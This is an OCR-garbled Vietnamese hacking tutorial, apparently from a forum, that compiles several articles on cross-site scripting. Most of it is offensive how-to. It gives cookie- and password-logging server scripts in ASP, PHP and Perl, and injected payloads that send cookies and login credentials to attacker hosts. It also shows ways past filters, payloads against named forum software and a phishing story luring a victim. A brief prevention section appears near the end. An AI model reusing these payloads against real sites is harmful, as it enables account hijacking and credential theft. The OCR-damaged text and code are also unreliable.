Authot: Mask NBTA va Alex chan doi

Day 1a nhing bai viét v& XSS ma t6i suu tim duoc, hy vong gitp cac ban hiéu hon 1 chat
vé van dé nay
Trude hét 1a bai viet cia Mask NBTA

XSS co ban

Loi xay ra nhu the nao ?

Ldi nay xay ra khi tmg dung web thu nhan céc dit liéu nguy hiém dugc nhap tir hacker .
Nhu ban d3 biét thi 1 website thuong chira cac link , thong qua cac link nay hacker co thé
chén cac doan code vao va khi ngudi dung nao dé st dung link nay thi coi nhu 99% la toi
mang , néi ném na 1a hacker c6 thé thong qua 151 nay dé chén code vao site hay link dé
choém céc thong tin quan trong tlr nan nhan, cac thong tin quan trong & day c6 thé 1a
cookie hodc username + pass dé vao tai khoan 1 ngén hang nao d6 sau d6 thong tin nay
dugc gui t6i cho hacker . Cach thudng dung ciia hacker 1a ma hod cac phan nguy hiém
ctia link ( dd chén code) thanh kiéu HEX ( hodc c6 thé 1a cac hinh thirc khac ) dé lam cho
nan nhan it nghi ngd khi click vao cai link nguy hiém d6 . Sau d6 14 tim cach nao do6 dé
cho nan nhan chiu click vao cai link da dat béy d6 , céai nay tuy thudc vao su gian xdo cua
tig hacker :-) , cang gian xao thi cang mau ######ng thu dugc két qua .

Hau hét cac tmg dung web hién nay dung cookie dé két hop 1 tai khoan duy nhét cho 1
nguoi dung nao do6 , nghia 1a cookie ciia nguoi nao ngudi do xai . Cac webmail , web ban
hang , nha bang , ... da s6 déu dung cookie voi muc dich chirng thuc ngtroi dung , va day

cling 1a cai ma hacker can .

Vay chir chén code 1a chén céi quai gi , dung céi gi dé chén : dung Javascript ( thong
dung ), VBscript , ActiveX, HTML,hoac Flash

Chac cac ban da hi€u so so ve cai 101 nay roi :-) . Khong hiéu thi xem ti€p s€ hicu .
Bi gio chung ta s€ ndi that rd vé cai 161 nay :

Trude hét giodi thidu so véi cac ban vé cach ma hoa 1 s6 cac ki ty thuong ding trong 15i
XSS cua thanh ADDRESS dé chut nira khoi bi choang :

Vi IBF Forum khong hd trg table trong bai viét nén cc ban c6 thé xem chi tiét day du bai
viét tai day : http://members.lycos.co.uk/masknbta/mask.rtf

s0 so vay thdi , muon biét hét thi cac ban tu kiém .

KIEM TRA LOI XSS


http://members.lycos.co.uk/masknbta/mask.rtf

Bay gio t61 s€ néu ra cac budc dé cac ban c6 thé ki€m tra xem site d6 c6 bi XSS hay
khong :

1 site bat ki bao gio cling cd 1 hodc tat ca cac phan sau : search results, error messages ,
Web-form , chu yéu 161 XSS nam & cac phan nay , noi chung 1a XSS c6 thé xay ra & cho

nao ma nguoi dung c6 thé nhap dir liu vao va sau d6 sé nhan dugc 1 céi gi d6 .

Céch tim 18i dé cho rd rang thi cic chuyén gia bao mat chia lam 7 budc nhung theo toi
nén chia thanh 5 budc :

Budc 1 : M& website can kiém tra ( cai nay tat nhién rdi )
Budc 2 : Bit dau kiém tra , dinh vi 1 6 tim kiém hodc 1 login form va gtri thong tin di
(nhép thong tin va nhan submit hay login hay ok gi d6 ), vi du nhap chit "Mask NBTA"

chang han hay chit gi ciing duoc .

Budc 3 : Xac dinh kha ning site c6 bi 161 XSS hay khong bang cach xem thong tin tra vé

Vidu ban théy nhu thé nay :

- "Your search for 'Mask NBTA' did not find any items"

- "Your search for 'Mask NBTA' returned the following results"
- "User 'Mask NBTA' is not valid"

- "Invalid login 'Mask NBTA"

hodc 13 cai quai gi d6 ma c6 dinh t6i chir "Mask NBTA" ma ban nhap vao ban dau thi
99% "Alert" nay bi XSS

con vai hinh thirc thir nita t6i cling xin trinh bay Iudn :

+ Chu ¥ cac 6 input hay cac bién ngay trén thanh address ( var=) thiy may cai nay thi cr
nhét dir liéu vao . Hay thur véi nhitng script nay :

< script>alert('Mask NBTA")< /script>
hodc <i*g csstest=javascript:alert('Mask NBTA')>

hodc &{alert('Mask NBTA")};



Budc 4 : Chén code thuc sy vao noi bi 16i :

chén cai nay < script>alert('Mask NBTA")< /script> vio 6 ban niy va nhan SUBMIT .
Néu sau d6 ban nhan dugc 1 popup c6 chit "Mask NBTA" thi "Alert" nay 100% bi dinh
XSS . Nhung xin cha y , thinh thoang van co truong hop website d6 bi dinh XSS nhung
van khéng xuét hién cai popup thi budc 1ong ban phai VIEW SOURCES (md bung) no ra
de xem . Khi view sources nhé klem dong nay< script>alert('Mask NBTA")< /script>,
néu co thi hét chay , XSS déy roi .

Mot vi du khac thuong gap hon :
Goi http://sitebiloi.com/ 1a site bi dinh 156i XSS va ta tim duoc noi bi 15i nhu thé nay :

http://sitebiloi.com/index.php?page=<s...< script> , nghia 1 ta c6 thé chén code ngay trén
thanh ADDRESS .

T61 khong thé trinh bay hét moi tinh huéng duoc , cai ma cac ban can 13 hiéu ra van dé
thi ban s€ hiéu duoc khi nao bi 1oi .
KHAI THAC

Kiém tra 16i di xong by gid phai tim cach khai thac 16i dé dat dugc nhitng gi ta mong
muon :

T6i s& trinh bay cach théng qua 151 XSS dé 1iy cookie ctia nan nhan :

Budc 1 : tao 1 file cookie.asp c¢6 ndi dung nhu thé nay :

<%

Set x = CreateObject("Scripting.FileSystemObject")

Set y = x.OpenTextFile(Server.MapPath("mask.txt"), 8, true)
y.WriteLine Request.QueryString("cookie")

y.Close

Set y = Nothing

Set x = Nothing


http://sitebiloi.com/
http://sitebiloi.com/index.php?page=%3Cs...%3C

00>

hoic file cookie.php nhu thé nay :
T T
<?

$f = fopen("'mask.txt","a");

fputs($f, Scook.chr(13));

fclose($1);

7>
T T

va upload file nay 1én host cua ban . Chu y la néu ban dung file .php thi phai up 1€n host
ho trg PHP (lycos) , dung file .asp thi up 1&€n host ho trg ASP (brinkster)

Budc 2 :

léy lai vi du site bi XSS trén thanh address , dé léy cookie ctia nan nhan ta lam nhu thé
nay :

http://sitebiloi.com/index.php?page=<s...< /script>
thi ngay 1ap tirc doan code da dugc chén vao trong web page , va trong nhu vay :

<HTML>
<TITLE> Hello all! </TITLE>
hello

<

script>window.open("http://www.hostbanupfile.com/cookie.asp?cookie="-+document.coo
kie)< /script>

</HTML>

Vi doan code nay thi trinh duyét s thi hanh doan code va sau do6 s€ gui toan bd cookie
to1 cho ban & dang file .txt va ban chi viéc m¢ file nay ra xem .


http://sitebiloi.com/index.php?page=%3Cs...%3C

Nhung khong phai lac nio ban ciing c6 thé dé dang chén code , lim luc ciing phai linh
hoat 1 chut boi vi nguoi 1ap trinh website ciing dau thé nao dé dang dé cho chung ta 1ong
hanh nhu vay , ho ciing c¢6 chiéu dé ngin can chiing ta , cach ho ding 1a "Loc code"
(Anti-XSS Filter) . Co ché cuia ho nhu sau : bd loc nay s€ loai bo cac ki ty dac biét ma
nguoi dung nhap vao , don gian vay thoi .

Chang 18 hacker chiu b6 tay , chua chéc ! Hacker ciing ¢ gang vuot qua "bo loc" bang
mot vai thu thuat nho :

1/ Néu "B6 loc" loai bo 2 ki ty "<" va ">" :
Hacker s& dung "\x3c" va "\x3e" dé thay thé va bat dau chén code voi ') +

") + "x3cscript
src=ht*p://hostbanupfile.com/cookie.asp?cookie="+document.cookie\x3e\x3c/script\x3e’

2/Bién cac doan code nguy hiém thanh 16i chd giai (comment) :
Vi du khi hacker nhap vao < script>code< /script> thi s€ bi chan nhu sau :

<COMMENT>

<!--

code (khong duoc phan tich boi bd loc)
/]-->

</COMMENT>

Vuot qua cai nay ciing rat d& bang cach dung thé dong </COMMENT> dé dong cai
<COMMENT> kia . Nghia la ta chén cai nay vao :

< script>

</COMMENT>

<img src="http://none" onerror="alert(Mask NBTA was here);window.open(
http://sitebanupfile.com/cookie.asp?cookie...cument.cookie); ">

</script>

lac nay doan loc code ban dau tro thanh

<COMMENT>
</COMMENT>

</script>


http://sitebanupfile.com/cookie.asp?cookie...cument.cookie%29;

</COMMENT>

va thé 12 bd loc bi vo hiéu hoa 1 cach nhanh HiHt#HHNG .
Cai nay dung dé hack webmail bang cach tao fakelogin thi khoi ché .
3/Khong cho JAVASCRIPT t6n tai :

Trong trudng hop nay thi hau hét cac ky tw dat biét dugc nhap vao tir ngudi ding déu b
loc , do d6 dé vuot qua thi hacker phai ma hoa code nhép vao :

Ht*p://sitebiloi.com/search.cgi?query=%26%7balert%28%27Mask %27%29%7d%3b

Chudi "%26%7balert%28%27Mask%27%29%7d%3b" chinh 1a {alert('Mask')}; da dugc
ma hoa

T6i néu thém ra vai vi du nira dé cac ban dé hinh dung :
*Forum YABB GOLD 1 SP1 (chua fix) , bi XSS nhu sau :

ht*p://the.target.xxx/board/YaBB.pl?board=gral;action=display;num=10360245269<
script>location%3d'Ht*p://www.hostbanupfile.com/cookie.php?Cookie%3d'%2b(docum
ent.cookie)%3b< /script>

d6 d6 , may cai ki tu loang ngoang bi gio sir dung rdi d6 (tu tra nhé )

*Forum vbullettin (version bao nhiéu quén rdi ) :

ht*p://target.com/board/usercp.php?s=[Session ID]">< script>javascript-
:document.write('<img
scr=h*tp://www.hostbanupfile.com/cookie.asp?cookie="+escape(document.cookie)+">');<
/script>

*Forum PHPBB 1.4.4 (hinh nhu 2.0 cling bi) :

vao dang ki 1 cai acc , sau d6 send 1 cdi topic , rang lam sao dé "Alert" admin n6 doc
dang con chdm cookie cua nd chir, toi goi y nhé




Subject : ADMIN , I LOVE U
Noi dung :
your forum is bad, hahaha

[img]javascript:document.write(")[/i*g]

ta thuc hién dugc 1a do loi dung thé img dé cheén code . Khi "Alert" admin doc cai topic
nay thi cookie cta n6 lap tuc bay vao tay ta. Ha ha !

Céach dung cookie vira chdm duoc :

Dbi véi WIN XP thi cookie dugc luu trir tai : C:\Documents and Settings\tén ctia
ban\cookies\

con cookie nao , ¢ chinh x4c tai dau thi vao dé6 ma kiém , khong thé biét cu thé duoc .

Kiém dugce rdi thi thay thé cai cookie cua ta thanh cai vira chom dugc , xong trd lai forum
v6i cookie nay thi ta 1a admin . Nhung hinh nhu néu ta chom cookie ma "Alert" admin n6
log out mét tiéu thi cookie ndy coi nhu vo dung , chi 4p dung duoc khi "Alert" admin ko
log out ( khong biét t6i nhé c6 chinh xac hay khong nhung dai loai ¢6 18 dung )

Con rat nhiéu rat nhiéu site + forum bi 13i trén net , & day chi 1a vai ba vi du dé cac ban d&
hinh dung .

Céach duy do victim vao ding cai link ma ta mong muon :

Pé mang tinh thuc té va d& hiéu t6i s& ké cho cac ban nghe 1 cau chuyén vé hack bang 13i
XSS va day ciing la 1 tinh hudng nira cua 161 XSS :

Mot hom budn doi toi lang thang trén net va vao 1 website no , vi du la
http://www.a.com/ theo thoi quen t6i danh 1 dit liéu bat ki vao 6 put in USERNAME , va
& day cai ma toi ddng vao 1a Mask NBTA t6i lién thdy xuat hién dong chit "Invalid login
: user Mask_NBTA is not found in our data" , hé hé 1 triéu chimg cta XSS day roi , nhin
vao thanh URL lai thay cai nay
http://www.a.com/login.asp?erro=Invalid%?20...in%200ur%20data

qué sudng rdi con gi , cong viée bi gid 1am sao dé hack déy Pau tién toi save as cai

trang nay vao dia cimg , ding NOTE PAD open va xem cai sources .Tai sao ti lam vay ?

Vi t61 mudn biét 2 céi tén bién cta login form , va t01 da dé dang tim thay , n6 1a "ten" va
"matkhau" , dya vao 2 cai nay thi t6i da biét mlnh can phai 1am gi , va phai chén code


http://www.a.com/
http://www.a.com/login.asp?erro=Invalid%20...in%20our%20data

nhu thé nao he he . Cai t6i mudn liic nay 13 1am sao dwa vao XSS dé liy dugc thong tin
v€ username + pass ciia nan nhan . Vay thi minh chén cai gi day , sau 1 thodng suy nghi
to1 quyét dinh chen céi nay day :

</FORM>
<FORM action="fakelogin.asp" method="post"

onsubmit="
image= new Image;

image.scr="h*tp://myhost/cookie.asp?cookie="+document.form(1).ten.value +'/' +
document.form(1).matkhau.value;">

To1 s€ giai thich tung cai cho cac ban hi€u :

cai </FORM> dé két thuc cai FORM cua cai site dd duoc mé ra & trén . Con céi code bén
dudi thi nhin théi chac céc ban cling hi€u hét , khong can giai thich nhé .

Cheén code nhu sau :

Ht*p://www.a.com/login.asp?ténbién1=giatricothat] &ténbién2=giatricothat2 &ténbién3=
giatricothat3 &ténbién4=giétricéthét4&erro=%3 C/FORM%3E%3CFORM%?20action=%2
2loginl.asp%?22%?20method=%22post%22%20onsubmit=%22image%20=%20New %201
mage;image.scr="h*tp://myhost/cookie.asp?cookie='%20%2bdocument.form(1).ten.value
%20%2b'/'%20%2bdocument.form(1).matkhau.value;%22%2E

Tai sao lai chén thém 1 déng bién c6 that vao, nhd 1a 1am sao dé nhin vao URL ta ko théy
cai phan code chén thém ngoai sau , chu yéu la 1am cho cai link thém dai loang ngoang
trude hét lam hoa mat nan nhén , sau do 1a tao dang vé c6 that 1 cach tu nhién cho cai
link .

Lam tdi day toi chot nghi ra minh c¢6 "Alert" ban la member cua cai site nay , san dang
ranh roi choc n6 choi . Cach t6i 1am 1a send cho n6 1 céi mail véi ndi dung thé nay :

May nghe tin gi méi chua ! WEBSITE a.com m& 1 cude thi ¢6 tién thudng 1a 1000 000 ,
lai diing s¢ trudng cia may nira , con hong bict tham gia nira . Xem cai link nay may s&
hiéu :

H*tp://www.a.com/login.asp nhung bén dudi cai link nay s€ 1a cai
http://www.a.com/login.asp?ténbiénl=gii..au.value;%22%2E

Ban dodn xem chuyén gi xdy ra . Tat nhién 1a n6 s€ click vao cai link tuong ching nhu
v6 hai d6 , sau d6 login vao site binh thuong ma dau ngo 1a cai username + pass da bi


http://www.a.com/login.asp?t%C3%AAnbi%E1%BA%BFn1=gi%C3%AE..au.value;%22%2E

Cong viéc cua toi chi 1a vao host , m¢ cai file log ra va xem , ¢6 gi trong d6 , bi mat

Cau chuyén t6i day 1a hét . Chéc cac ban ciing da hiéu cach 1am cua toi , hy vong véi
nhirng cai dau thién tai ctia cac ban thi s€ c6 nhitng cach hay hon céach t6i vira trinh bay .

CACH PHONG CHONG XSS :

1/Trudc hét 1a cho admin ciia cac website :

+ Khong cho phép bat cd HTML tag ndo nhép vao tir ngudi ding .
+ Loc tt ca cac Active Script tt HTML Code

2/Danh cho nguoi dung :

Can thn 1a trén hét , dimg chét vi thiéu hiéu biét .

Tbi viét bai trudc hét 1a dé 6n lai kién thire cho chinh minh sau d6 13 mudn giai thich cho
cac ban hiéu that rd ve nguy hai cia XSS dé ma phong tranh .

Cross-Site Scripting (ko nhd tac gid)
Gidi thiéu :

Ban di bao nhiéu 1an nhan mot email ma chira cac hyperlink roi 2Thu nghi xem khi ban
nhén dugc 1 mail link téi site ma ban tham gia véi 101 moi chao kha ngot , ban click vao
link d6 ma ko chut thic mic , login v6i user cua minh .... nhu vy rat co thé 1a ban d3 mat
pass vao tay mot hacker rdi Py chi 1 1 vd nho vé cross-site scripting thoi .

Cross-Site Scripting

Cross-Site Scripting con goi la XSS, 16i x4y ra khi cac ing dung web thu nhan cac dit
liéu nguy hiém cua cac hacker nhu mot doan ma javascript , Vbscript.... N6 s€ chi gitp
ban lay dugc thong tir} mat gﬁa mot ung dung web t~h6i , ko h()’n’ko kém ( va ban hay
quén ngay vi¢c nghi rang d€ khai thac thanh cong 161 nay chi mat vai phut nhé )

XSS c6 kha nang anh huong téi cac site cho phép nguoi dung nhép dir liu vao ,thuong la

Céc cong cy tim kiém
Forms duoc dién boi user



Web message boards, guestbook o o
Mot hacker khi phat hién ra 161 XSS s€ c6 gang dung no6 dé lay cookies, tao cac trang
login gia de lay pass ctua nguoi khac ..v..v..

Béy gid chiing ta bat dau di sau vao 16 XSS , trudc tién 1a xac dinh site dinh 15i nay :

Vi du mét cong cu tim kiém cua site sau khi dugc ta nhép gid tri ( vidu : XSS ) no s€ tra
v€ nhitng gi ma ta vira nhap ( trc in ra XSS ) thi rat c6 kha nang no6 bi dinh XSS . Bay gio
ta view source cua site day néu tim thay " XSS " thi dich thi site nay dinh 161 161 , he he

Pé mo phong mot cude tAn cong bang XSS , mot site ngan hang online da duogc creat (
www.freebank.com ). Trudc tién hacker s& bit ddu tim mot trang trén site nay dé c6 thé
nhap gia tri , trong vi du hacker di tim ra rang khi c¢6 géng login ko duoc thi username s&
hién 1én trén thanh URL nhu sau :
http://www.freebank.com/banklogin.asp?err=Invalid%20Login:%20Badlogin (%20 la
cac ki tu trang )

tiép theo , hacker sé& kiém tra xem c6 thé tiém mad HTML va javascript vao trang wweb
nay duoc ko . Pon gian chi can thay "Invalid%20Login:%20Badlogin " & URL trén bang
<script>alert('XSS')</script>, néu sau do ta nhan dugc 1 ctra s6 pop-up voi thong bao
XSS thi ta hoan toan c6 thé khai thac site nay qua 18i XSS . Anh ta bay gi¢ phai tao 1
URL & c6 thé 1ay duoc cac thong tin nhay cam . Dé tao dugc 1 URL ma c6 kha ning
qua mit duoc nhidu ngudi thi hacker phai md sourrce ciia trang web ( ma cu thé ¢ day 1a
trang banklogin.asp ) dé dua vao URL phu hop:

& day hacker s& thém vao doan code sau ( tily timg truong hop cu thé ma ta c6 thé thay
bang code khac )

</form>

<form action="login.asp" method="post"

onsubmit="XSSimage= new Image;
XSSimage.src="http://hacker.com/'+document.forms(1).login.value+':'+document.forms(

1).password.value;">

khi dugce " tiém " vao trang login thi né s€ nhu sau : ( doan code ctia chung ta dugc in
nghiéng )

<table>
<tr>

<td bgcolor="#2E7AA3" Style="border:1px solid black " WIDTH ="258"
HEIGHT="217>

<form action="login.asp" method="post>


http://www.freebank.com/banklogin.asp?err=Invalid%20Login:%20Badlogin

<center>
</form>
<form action="login.asp" method="post"

onsubmit="XSSimage= new Image;
XSSimage.src="http://hacker.com/'+document.forms(1).login.value+':"+document.forms(
1).password.value;">

<br> Username :<br><input type ="text" name ="login" style="border: 1px solid black;
spacing :0"><br>Password:<br>

Nhu ta théy , doan code duoc "tiém " vao gém 2 phén chinh , mot 1a </form> dé két thuc
<form> cuia ban goc , hai la

<form action="login.asp" method="post"

onsubmit="XSSimage= new Image;
XSSimage.src="http://hacker.com/'+document.forms(1).login.value+':"+document.forms(
1).password.value;">

Chu ¥ rang <form action="login.asp" method="post" ko hé khac ban gbc tuy nhién ta
thém vao onsubmit , n6 c6 tc dung la chay doan javascript khi victim click vao submit.
Thong tin cua victim s€ guri dén link ¢ trén (www.hacker.com )

Sau khi c6 duoc code 16i , bay gid hacker s& phai dwa né vao URL :
http://www.freebank.com/banklogin.asp?serviceName=FreebanlCaastAccess&templateN
ame=prod_sel.forte&source=Freebank&AD_REFERRING URL=http://www.Freebank.
com&err=%3C%2Fform%3E%0D%0A %3 Cform+action%3D%22login.asp%22+method
%3D%22p0st%22%0D%0Aonsubmit%3D%22XSSimage%3D+new+Image%3B+XSSi
mage.src%3D%27http%3A%2F%2Fhacker.com%2F%27%2Bdocument.forms%281%29
Jogin.value%2B%27%3 A%27%2Bdocument.forms%281%29.password.value%3B%22
%3E%0D%0A

Dé nhan ra la URL nay khac vo1 URL ma ta dung dé test XSS , don gian chi vi nhu thé
nay URL s& du dai d¢€ gidm sy nghi ngo cua victim thoi.

RO , bay gid ta s& giri link ndy dén cho victim , ¢6 rat nhiu cach dé qua mat ho sau d6 chi
viéc cho va check log file tai

www. hacker.com


http://www.freebank.com/banklogin.asp?serviceName=FreebanlCaastAccess&templateName=prod_sel.forte&source=Freebank&AD_REFERRING_URL=http://www.Freebank.com&err=%3C%2Fform%3E%0D%0A%3Cform+action%3D%22login.asp%22+method%3D%22post%22%0D%0Aonsubmit%3D%22XSSimage%3D+new+Image%3B+XSSimage.src%3D%27http%3A%2F%2Fhacker.com%2F%27%2Bdocument.forms%281%29.login.value%2B%27%3A%27%2Bdocument.forms%281%29.password.value%3B%22%3E%0D%0A
http://www.freebank.com/banklogin.asp?serviceName=FreebanlCaastAccess&templateName=prod_sel.forte&source=Freebank&AD_REFERRING_URL=http://www.Freebank.com&err=%3C%2Fform%3E%0D%0A%3Cform+action%3D%22login.asp%22+method%3D%22post%22%0D%0Aonsubmit%3D%22XSSimage%3D+new+Image%3B+XSSimage.src%3D%27http%3A%2F%2Fhacker.com%2F%27%2Bdocument.forms%281%29.login.value%2B%27%3A%27%2Bdocument.forms%281%29.password.value%3B%22%3E%0D%0A
http://www.freebank.com/banklogin.asp?serviceName=FreebanlCaastAccess&templateName=prod_sel.forte&source=Freebank&AD_REFERRING_URL=http://www.Freebank.com&err=%3C%2Fform%3E%0D%0A%3Cform+action%3D%22login.asp%22+method%3D%22post%22%0D%0Aonsubmit%3D%22XSSimage%3D+new+Image%3B+XSSimage.src%3D%27http%3A%2F%2Fhacker.com%2F%27%2Bdocument.forms%281%29.login.value%2B%27%3A%27%2Bdocument.forms%281%29.password.value%3B%22%3E%0D%0A
http://www.freebank.com/banklogin.asp?serviceName=FreebanlCaastAccess&templateName=prod_sel.forte&source=Freebank&AD_REFERRING_URL=http://www.Freebank.com&err=%3C%2Fform%3E%0D%0A%3Cform+action%3D%22login.asp%22+method%3D%22post%22%0D%0Aonsubmit%3D%22XSSimage%3D+new+Image%3B+XSSimage.src%3D%27http%3A%2F%2Fhacker.com%2F%27%2Bdocument.forms%281%29.login.value%2B%27%3A%27%2Bdocument.forms%281%29.password.value%3B%22%3E%0D%0A
http://www.freebank.com/banklogin.asp?serviceName=FreebanlCaastAccess&templateName=prod_sel.forte&source=Freebank&AD_REFERRING_URL=http://www.Freebank.com&err=%3C%2Fform%3E%0D%0A%3Cform+action%3D%22login.asp%22+method%3D%22post%22%0D%0Aonsubmit%3D%22XSSimage%3D+new+Image%3B+XSSimage.src%3D%27http%3A%2F%2Fhacker.com%2F%27%2Bdocument.forms%281%29.login.value%2B%27%3A%27%2Bdocument.forms%281%29.password.value%3B%22%3E%0D%0A
http://www.freebank.com/banklogin.asp?serviceName=FreebanlCaastAccess&templateName=prod_sel.forte&source=Freebank&AD_REFERRING_URL=http://www.Freebank.com&err=%3C%2Fform%3E%0D%0A%3Cform+action%3D%22login.asp%22+method%3D%22post%22%0D%0Aonsubmit%3D%22XSSimage%3D+new+Image%3B+XSSimage.src%3D%27http%3A%2F%2Fhacker.com%2F%27%2Bdocument.forms%281%29.login.value%2B%27%3A%27%2Bdocument.forms%281%29.password.value%3B%22%3E%0D%0A
http://www.freebank.com/banklogin.asp?serviceName=FreebanlCaastAccess&templateName=prod_sel.forte&source=Freebank&AD_REFERRING_URL=http://www.Freebank.com&err=%3C%2Fform%3E%0D%0A%3Cform+action%3D%22login.asp%22+method%3D%22post%22%0D%0Aonsubmit%3D%22XSSimage%3D+new+Image%3B+XSSimage.src%3D%27http%3A%2F%2Fhacker.com%2F%27%2Bdocument.forms%281%29.login.value%2B%27%3A%27%2Bdocument.forms%281%29.password.value%3B%22%3E%0D%0A

Trén ddy chi 1a 1 vi du nho nho thoi bang sang tao ctia mdi ngudi s& c6 1 cach khai thac
riéng cho minh Cac ban ko chi ¢ thé 14y user va pass ctia ngudi khac ma con co thé thay
ddi gia tri ciia san phém tai 1 site mua ban , thém dir li€u ..v..v..v ..

Hi vong bai viét nay c6 thé gitp cc ban newbie nhu minh phan nao hiéu thém vé XSS .A
voi cac ban chua biét XSS 1a gi sau khi doc xong bai nay thi cac ban doc lai bai cua anh
Mask NBTA 83y .Bai diy sé& gitip ich nhiéu day .

Khi nao kiém thém bai vé XSS minh s& c¢b vit 1 bai nita néu ko ai thiy phién heé he

bai trén minh da noi qua vé 161 XSS va cach khai thac ciia nd hdn cac ban con nhé doan
javascript ma hacker sé st dung dé lay coookie ctia victim chir (¢6 ko ti nhung minh xin
chi ra vi du sau )

<script>document.location.repleace('http://hacker/payload?c='+ document.cookie )
</script>

file php dé ghi lai coookie c6 s& nhu sau :

<?php

$f = fopen ("log.txt", "a");

fwrite($, "IP : { $ SERVER [REMOTE_ADDR']} Ref: {$ SERVER
[[HTTP_REFERER']} Cookie: {SHTTP_GET VARS ['¢'] }\n");

fclose($1);
>
Hay day 1a 1 vi du khac :

<script>document.location.repleace('http://hacker/steal.cgi?' + document.cookie )
;</script>

va day la source cua file steal.cgi :
#! Just/bin/perl

#steal.cgi by David Endler
#Specific to your system
$mailprog = '/usr/sbin/sendmail’;

#creat log file



open (COOKIES,">>stolen _cookie file");

#what victim see

print " Content-type: text /html \n\n";

print <<EndOfHTML;

<html><head><title>Cookie stealing </title></head>

<body> your cookie has been stolen hehe
</body>

EndOfHTML

#The QUERY_ STRING enviroment variable should be filled with

#the cookie text after steal.cgi:

#http://www.hacker.com/steal.cgi? XXX XXXX

print COOKIES "$SENV{ ' QUERY_ STRING'} from $SENV {' REMOTE ADDR'} \n;
#now mail the alert as well so we can start hijack

open (MAIL,"|$mailprog -t");

print MAIL " To: hacker\ @hacker.com \n";

print MAIL " From: cookie steal \ @hacker.com \n";

print MAIL " Subject :Stolen cookie \n\n";

print MAIL "-" x 75 . "\n\n;

print MAIL "$SENV{ 'QUERY_ STRING'} from SENV{'REMOTE_ADDR'} \n";
close (MAIL);

Mot vi du khac nita ( cua matrix2k )

<script>window.open("http://www.hostbanupfile.com/cookie.asp?cookie="+document.c
ookie)</script>

file cookie.asp:



<%

Set bien = CreateObject("Scripting.FileSystemObject")

Set taobien = bien.OpenTextFile(Server.MapPath("xss.txt"), 8, true)
taobien. WriteLine Request.QueryString("cookie")

taobien.Close

Set taobien = Nothing

Set bien = Nothing

%>



